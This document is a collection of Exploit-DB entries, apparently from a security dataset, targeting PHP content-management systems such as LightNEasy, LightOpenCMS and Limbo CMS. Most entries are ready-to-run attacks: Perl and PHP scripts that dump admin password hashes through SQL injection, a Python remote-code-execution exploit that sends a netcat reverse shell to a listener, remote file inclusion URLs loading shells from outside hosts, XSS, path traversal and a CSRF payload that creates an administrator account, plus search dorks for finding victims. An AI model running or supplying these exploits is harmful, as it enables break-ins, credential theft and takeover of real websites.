deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5425
Description: LightNEasy 1.2 - no database Remote Hash Retrieve
Type: webapps
Platform: php
Date: 2008-04-10
Author: girex

Exploit:
# Author:	__GiReX__
# mySite:	girex.altervista.org
# Date:		10/04/08

# CMS: 		LightNEasy 1.2 no database
# Site:		lightneasy.org

# Bug:		Hash Disclosure
# Exploit:	Remote Hash Retrieve


# Bug Explanation: LightNEasy/lightneasy.php

  if($_GET['do']!="login" && $_GET['do']!="sitemap" && $_SESSION[$set['password']] != "1") unset($_GET['do']);
  if($_POST['submit']!=$langmessage[120] && $_POST['submit']!=$langmessage[33] && $_SESSION[$set['password']] != "1")
	unset($_POST['submit']);

# $_GET['do'] is unset if we aren't admin or isn't login or sitemap

  function content() {
  ...
  switch($_REQUEST['do']) {
  ...
  case "setup": {
  ...
  <input type=\"hidden\" name=\"oldpassword\" value=\"".$set['password']."\" />

# content() diplays the HTML of the section passed with $_REQUEST['do']
# unset $_GET['do'] is not important if you switch the $_REQUEST one
# you can only see the admin's hash in hidden input and not edit it becouse $_POST['submit'] is unset


#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lightneasy/\n\n";
     exit;
}
my $client = new LWP::UserAgent or exit;

my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];

banner();
my $response = $client->get($target . 'LightNEasy.php?do=setup');

if($response->is_success)
{
     if($response->as_string =~ /([a-f0-9]{40})/)
     {
	  print "[+] Admin's SHA1 Hash: $1 \n";
	  print "[+] Exploit Successfull\n";
     }
     else 
     {
	  print "[-] Unable to retrieve admin's hash\n";
	  print "[-] Exploit Failed\n";
     }
}
else
{
     print "[-] Unable to request ${target}LightNEasy.php?do=setup\n";
     print "[-] Exploit Failed\n";
}


sub banner
{
     print "[+] LightNEasy 1.2 no database Password Retrieve Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}

# milw0rm.com [2008-04-10]
Exploit-DB #15060
Description: LightNEasy CMS 3.2.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-09-20
Author: Solidmedia

Exploit:
# Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
# Date: 20.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://www.lightneasy.org/
# Software Link: http://www.lightneasy.org/addons/downloads/send.php?dlid=127
# Version: 3.2.1
# Special Thanks to: Dominik Landtwing
 
 
[ Vulnerability]

# Vulnerable Code:

common.php line 112-148

function login() {
	global $message, $set, $langmessage, $prefix;
	if($_SESSION[$set['password']]!="1") {
	if($_GET['do']=="login" && $_POST['handle']!="") {
		$result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
		if($row = fetch_array($result)) {
			if($row['password'] == sha1($_POST['password'])) {
					...

}}}}}
 
# Explanation:

$_POST['handle'] isn't sanitized before executing the database query.


Since the only user after a fresh install is the admin-user with id 1 and
a normal visitor can't register we have to retrieve the admin hash by using benchmark().

# Exploiting the Vulnerability // PoC:

URL: http://localhost/LNE/LightNEasy.php?do=login

Postdata:

handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login

This will trigger benchmark() if the first character of the admin hash is b.
Exploit-DB #8724
Description: LightOpenCMS 0.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-05-18
Author: Mi4night

Exploit:
[+] LightOpenCMS (id) SQL Injection Vulnerability

[+] Author: Mi4night

[+] Script: http://sourceforge.net/project/downloading.php?group_id=251474&filename=locms-0.1-pa.zip&a=4814604

[+] Injection:

http://127.0.0.1/[path]/index.php?id=-1%27%20union%20select%201,2,@@version,4%20%23

[+] Requires: magic_gpc() == OFF

[+] Vulnerable code:
if (isset($_GET['id'])) {
            $result = mysql_query("SELECT * FROM pages WHERE id='".$_GET['id']."'");

[+] Patch:
Its fucking beta.. or alpha or whatever. they'll fix it in the stable version !


[+] Shoutz to: Nuc my brotha, str0ke and all the otherz i forgot xD

# milw0rm.com [2009-05-18]
Exploit-DB #11003
Description: LightOpenCMS 0.1 - 'smarty.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-04
Author: Zer0 Thunder

Exploit:
# Exploit Title: LightOpen CMS Remote File Inclusion (smarty.php) 
# Date: 2010-01-05
# Author: Zer0 Thunder
# Software Link: http://sourceforge.net/projects/lightopencms/
# Version: v0.1
# Tested on: Windows XP sp2 [Wamp] 
# CVE : 
# Code :

Exploit :
http://site.com/path/smarty.php?cwd=[shell.txt]?%00


Example : 
http://localhost/locms/smarty.php?cwd=http://www.cfsm.cn/c99.txt?%00

########################################
# MSN : zer0_thunder@colombohackers.com
# Email : neonwarlock@live.com
# Site : LKHackers.com
# Greetz : To all my friends
# Note : Proud to be a Sri Lankan
########################################
Exploit-DB #9015
Description: LightOpenCMS 0.1 - 'smarty.php?cwd' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-06-24
Author: JosS

Exploit:
LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://sourceforge.net/project/showfiles.php?group_id=251474

[smarty.php]
 define("SMARTY_DIR", $cwd."/smarty/");
 require_once(SMARTY_DIR."/Smarty.class.php");

PoC:
 [php.ini] register_globals= On
 http://localhost/locms/smarty.php?cwd=../../../../../../../../../../../../boot.ini%00

Greetz: YEnH4ckEr, str0ke and spanish hackers!

# milw0rm.com [2009-06-24]
Exploit-DB #3275
Description: LightRO CMS 1.0 - 'inhalt.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-06
Author: ajann

Exploit:
*******************************************************************************
# Title   :  LightRO CMS 1 beta(inhalt.php) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.lightro.de.tc/
# $$      :  Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include $dateien['news'];
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]/inhalt.php?dateien[news]=[SHELL]

Example:

//inhalt.php?dateien[news]=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-06]
Exploit-DB #5873
Description: Lightweight news portal (LNP) 1.0b - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-20
Author: storm

Exploit:
  ____       _   _       _ ___   __                        _  __
 / ___| ___ | \ | |_   _| | \ \ / /__  _   _ _ __ ___  ___| |/ _| ___  _ __ __ _
| |  _ / _ \|  \| | | | | | |\ V / _ \| | | | '__/ __|/ _ \ | |_ / _ \| '__/ _` |
| |_| | (_) | |\  | |_| | | | | | (_) | |_| | |  \__ \  __/ |  _| (_) | | | (_| |
 \____|\___/|_| \_|\__,_|_|_| |_|\___/ \__,_|_|  |___/\___|_|_|(_)___/|_|  \__, |
---------------------------------------------------------------------------|___/
Exploit found by sToRm


LNP: Lightweight news Portal v1.0-BETA
Multiple Remote Vulnerabilities


Cross-Site Scripting
--------------------

show_photo.php?photo="><script>javascript:alert(document.domain)</script>
show_potd.php?potd="><script>javascript:alert(document.domain)</script>


Insecure Administration
-----------------------

The admin page faces us with a login, but many important functions are allowed 
to be executed without a logged-in session.

admin.php?A=potd_delete
admin.php?A=potd
admin.php?A=vote_update
admin.php?A=vote
admin.php?A=modifynews


Permanent Code Injection
------------------------

admin.php?A=vote

"Current question" field allows for code injection, allowing us to force 
all users browsing the poll to view an XSS or browser exploit. 


File Upload
-----------

admin.php?A=potd

The "picture of the day" manager allows for further images to be 
uploaded, but does not check for image validity. Although a phpshell 
cannot be executed through this method, a source may be uploaded for 
inclusion in further attacks, possibly an LFI somewhere on the server. 

# milw0rm.com [2008-06-20]
Exploit-DB #51374
Description: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-04-20
Author: max / Zoltan Padanyi

Exploit:
#!/usr/bin/env python

"""
# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2023-04-13
# Exploit Author: max / Zoltan Padanyi
# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit
# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download
# Version: 2.0.8
# Tested on: Debian 7.6
# CVE : N/A

The autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;

Use at your own risk!

RCA - wild exec is ongoing without any filtering

in library/Net/Traceroute.php

   181	    function _setTraceroutePath($sysname)
   182	    {
   183	        $status    = '';
   184	        $output    = array();
   185	        $traceroute_path = '';
   186
   187	        if ("windows" == $sysname) {
   188	            return "tracert";
   189	        } else {
   190	            $traceroute_path = exec("which traceroute", $output, $status);
   [...]
   257	    function traceroute($host)
   258	    {
   259
   260	        $argList = $this->_createArgList();
   261	        $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];
   262	        exec($cmd, $this->_result);


"""

import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)
parser.add_argument("-i", "--ip", help="Listener IP", required=True)
parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)
args = parser.parse_args()

rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"

body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}

try:
    r = requests.get(args.url)
    if r.ok:
	    print("[+] URL looks good...moving forward...")
	    print("[+] Sending exploit in...")
	    r = requests.post(args.url,data=body)
	    if r.ok:
		    print("[+] Got HTTP 200, check your listener!")
    else:
	    print("[-] Some kind of error happened, check the http response below!")
	    print(r.text)
except Exception as e:
	print("General exception: " + str(e))
Exploit-DB #14443
Description: LILDBI - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-23
Author: EraGoN

Exploit:
# Exploit Title: LILDBI Shell Upload Vulnerability
# Date: 23.07.2010
# Author: EraGoN
# Software Link: http://productos.bvsalud.org/product.php?id=lildbi-web〈=en
# Version: 1.2
# Tested on: Ubuntu ( Linux ) - WinXP sp2/sp3

[Dark Hackers Team]

Dork : allinurl:"/lildbi/

POC :
The shell upload page : http://target.com/[path]/lildbi/e/admin/uploader.php

File Desination : http://target.com/[path]/lildbi/e/admin/files/[name].php 

Tyank you :)

Zone-H : 

http://zone-h.org/archive/notifier=Dark Hackers Team

**Proud to be Muslim
**Proud to be Albanian

[ Special Thanks For : Loock3D - XindiviD. - F3n1x1 - H4ckPr0.  all albanian and kosovo hackers ^_^ ]
[ Greetz : Albanian-Legends.CoM - Exploit-DB.COM  - inj3ct0r.com ]
Exploit-DB #6796
Description: Limbo CMS - Private Messaging Component SQL Injection
Type: webapps
Platform: php
Date: 2008-10-21
Author: StAkeR

Exploit:
/*
   
   Limbo CMS (Private Messaging Component) Remote SQL Injection Vulnerability
   --------------------------------------------------------------------------
   StAkeR[at]hotmail[dot]it
   http://www.limboportal.com/index.php/option/downloads/task/download/id/108
   --------------------------------------------------------------------------

   com_privmsg/open.php
   
   31. if (isset($_GET['status']))
   32. {
   33. 	  header('Location:index.php?option=pms&page=open&id='.$_GET['id'].'');
   34. }
   35. 
   36. $openrow= $conn->GetRow("SELECT * FROM #__pms WHERE id='$_GET[id]' AND username='$my->username'");
   37.
   
   
   - index.php?option=pms&page=open&id='1+union+all+select+password,username+from+[prefix_users]+where+id=1/*
   
   (Syntax Error) Change number of columns (Ex: 0,0,0,username,password) 
   
   

*/

# milw0rm.com [2008-10-21]
Exploit-DB #30937
Description: Limbo CMS 1.0.4 - 'com_option' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-25
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/27027/info

Limbo CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Limbo CMS 1.0.4.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php?com_option=>"'><SCRIPT>a=/XSS/;alert(a.source)</SCRIPT>
Exploit-DB #1751
Description: Limbo CMS 1.0.4.2 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-05
Author: [Oo]

Exploit:
<pre>
[i] Limbo CMS (option=weblinks) sql injection exploit
[i] coded by [Oo]
<?php

if( (!isset($_GET['host'])) || (!isset($_GET['path'])) || (!isset($_GET['id'])))
{
?>	
[*] Usage: <?echo htmlentities($PHP_SELF)?>?host=[hostname]&path=[limbo_path]&id=[user_id]
[*] Exemple: <?echo htmlentities($PHP_SELF)?>?host=127.0.0.1&path=/limbo&id=1

[g] Google: inurl:"index2.php?option=rss" OR "powered By Limbo CMS"	
<?php
die;
}

$host = $_GET['host'];
$path = $_GET['path'];
$id = $_GET['id'];

$success = 0;

$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
   die("[-] Connection Error!");
} 
else {

   $out = "GET $path/index.php?option=weblinks&Itemid=44&catid=-1%20union%20select%200,1,2,concat(char(0x6c,0x6f,0x67,0x69,0x6e,0x3a),username,char(0x20,0x70,0x61,0x73,0x73,0x77,0x6f,0x72,0x64,0x3a),password),4,5,6,7,8,9,10,11%20from%20lm_users%20where%20id=$id/* HTTP/1.1\r\n";
   $out .= "Host: $host\r\n";
   $out .= "Connection: Close\r\n\r\n";

   fwrite($fp, $out);
   while (!feof($fp)) {
	   $f = fgets($fp, 1024);
       if ( (preg_match("/<div class=\"componentheading\" >/",$f)) && (preg_match("/login/",$f)) )
       {
			echo "$f";
			echo "[+] Enjoy! :><br>";
			$success = 1;
	   }
   }
   fclose($fp);
   
   if (!$success)
	echo "<br>[-] exploit failed :<<br>";
}
?> 
</pre>

# milw0rm.com [2006-05-05]
Exploit-DB #26836
Description: Limbo CMS 1.0.4.2 - 'index.php?_SERVER[REMOTE_ADDR]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-14
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/15871/info

Limbo CMS is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out cross-site scripting, SQL injection, and local file include attacks.

Limbo CMS versions 1.0.4.2 and prior are affected by these vulnerabilities. 

http://www.example.com/[path]/?_SERVER[]=&_SERVER[REMOTE_ADDR]=<script>alert(document.cookie)</script>
Exploit-DB #1541
Description: Limbo CMS 1.0.4.2 - 'itemID' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-03-01
Author: str0ke

Exploit:
#!/usr/bin/perl
##
## Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit
## Bug Discovered by: Coloss / Epsilon (advance1[at]gmail.com) http://coded.altervista.org/limbophp.pl
## /str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];
$command  =  $ARGV[2];
$cmd      =  "echo start_er;".
             "$command;".
             "echo end_er";

my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

sub usage
{
        print "Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit /str0ke (milw0rm.com)";
        print "Usage: $0 www.example.com /directory/ \"cat config.php\"\n";
        print "sever    -  URL\n";
        print "path     -  path to limbo\n";
        print "command  -  command to execute\n";
        exit ();
}

sub exploit
{
        print qq(Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit\n/str0ke (milw0rm.com)\n\n);
        $URL = sprintf("http://%s%sindex.php?option=frontpage&Itemid=passthru($byte)",$serv,$path);
        my $content = get "$URL";
        if ($content =~ m/start_er(.*?)end_er/ms) {
                my $out = $1;
                $out =~ s/^\s+|\s+$//gs;
                if ($out) {
                        print "$out\n";
                }
        }
}

if (@ARGV != 3){&usage;}else{&exploit;}

# milw0rm.com [2006-03-01]
Exploit-DB #26837
Description: Limbo CMS 1.0.4.2 - 'option' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-12-14
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/15871/info
 
Limbo CMS is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out cross-site scripting, SQL injection, and local file include attacks.
 
Limbo CMS versions 1.0.4.2 and prior are affected by these vulnerabilities. 

http://www.example.com/[path_to_limbo]/index2.php?option=frontpage/../../../../../../../../../../../script
Exploit-DB #1729
Description: Limbo CMS 1.0.4.2 - 'sql.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-29
Author: [Oo]

Exploit:
Title: Limbo CMS <= 1.04 Remote File Inclusion
URL: http://www.limbo-cms.com/
Dork: inurl:"index2.php?option=rss" OR "powered By Limbo CMS"
Credits: [Oo]

Exploit: /classes/adodbt/sql.php?classes_dir=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-29]
Exploit-DB #8468
Description: Limbo CMS 1.0.4.2 - Cross-Site Request Forgery / Privilege Escalation
Type: webapps
Platform: php
Date: 2009-04-17
Author: Alfons Luja

Exploit:
###############################
#                             #
#  Limbo cms v 1042Lt         #
#  Cross-site request forgery #
#  Privilege Escalation       #
#  Proof of Concept           #
#  by Alfons Luja             #
#                             #
###############################
download : http://www.limboportal.com/index.php/option/downloads/task/download/id/67
d00rk: intext:"site powered by limbo"  inurl:task=register

  Sytuacion is similar to last vuln in Coppermine 
  http://milw0rm.com/exploits/8114
  
  We need privilege to add news 
  if we have it then:
 
  1]. Go to : http://target/~limbo/index.php?option=content&task=new&Itemid=[id]

  2]. Set Title : whatever

      Select Category : whatever

      Set Intro text : 

      <img src="http://target/~limbo/admin.php?com_option=users&task=create&user_id=&user_name=toxiclove&user_username=echo&user_email=skk%40sk.pl&user_gid=5&user_password=test1"/>
      (some html tags is not filtered)

      Set Main Text : whatever 
      And submit 
  
  3]. When admin open this "new" in Control Panel 
      User toxiclove witch login = echo , pass = test1 && Administartor privilage 
      Become create 

  4]. The end 
      Greetings: 
      tyko dla babci i Gorionka , sIdq , condiego , 0ina , J.Busha , Nejmo , and all friend in a whole planet
      Sorry for my poor english ;D

# milw0rm.com [2009-04-17]
Exploit-DB #3028
Description: Limbo CMS Module event 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-27
Author: Mehmet Ince

Exploit:
-----------------------------------------------

Limbo CMS event module (lm_absolute_path) Remote File Include Vulnerabilities

-----------------------------------------------


Author: xoron

-----------------------------------------------
 
Vuln Code:

include_once($lm_absolute_path."components/com_event/lang/event.".$lm_language.".php");

-----------------------------------------------

3xplo!t:

http://www.[target].com/[script_path]/eventcal/mod_eventcal.php?lm_absolute_path=http://evil_scripts?


-----------------------------------------------

download:  http://www.limbo-tr.com/images/downloads/event.zip

-----------------------------------------------
XORON   -   XORON   -   XORON   -   XORON   -   XORON
-----------------------------------------------------------
-                                                         -
-                                                         -
- Tum muslumanlarin kurban bayrami simdiden mubarek olsun -
-                                                         -
-              Greetz: str0ke, Kacper                     -
-                                                         -
-----------------------------------------------------------

# milw0rm.com [2006-12-27]
Exploit-DB #16272
Description: Limelight Software - 'article.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-04
Author: eXeSoul

Exploit:
© Limelight Software Ltd (article.php) Sql Injection Vulnerability

####################################################################
.:. Author         : eXeSoul 
.:. Contact        : exe.soul@live.com
.:. Date           : 04-03-2011
.:. category       : Web Apps [SQli]
.:. HomePage       : www.indishell.in
.:. Tested on      : windows/linux
.:. Vulnerability  : PHP [ Sql Injection Vunerability ]
.:. Vendor         : www.limelight-software.com
.:. VCE            : ()
.:. Dork           : "© Limelight Software Ltd"
.:.
.:.
####################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
<3 Love: -[SiLeNtp0is0n]-, stRaNgEr(lucky), inX_rOot, NEO H4cK3R, DarkL00k, Th3 RDX, G00g!3 W@rr!0r, Nazz ,
r45c4l, str1k3r, co0Lt04d , ATUL DWIVEDI , Jackh4xor , Bon3 ,Badboy-Albinia, Mr.SK , I-H Guru,
X__HMG, AK-47, [ICW] [Andhra Hackers], Ethical N00b,[Indishell crew]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  
  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                           ......\m/ INDIAN CYBER ARMY \m/......
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
Vulnerability:
   
*SQL injection Vulnerability*


[+]http://site.com/article.php?id='59
[+]http://site.com/article.php?id=[SQLi]

=> PROUD TO BE AN INDIAN | Anythning for INDIA | JAI-HIND | Maa Tujhe Salam
    
=> c0d3 for motherland, h4ck for motherland
   
  
       
     Enj0y! :D
  
  
[#] DOne now time to rock \m/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
# JAY HIND.!! JAY SHREE RAM.!! JAY SHREE KRISHANA.!! JAY MAHADEV.!!
 
# eXploit-db.com [04-03-2011]
   
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   
finish(0);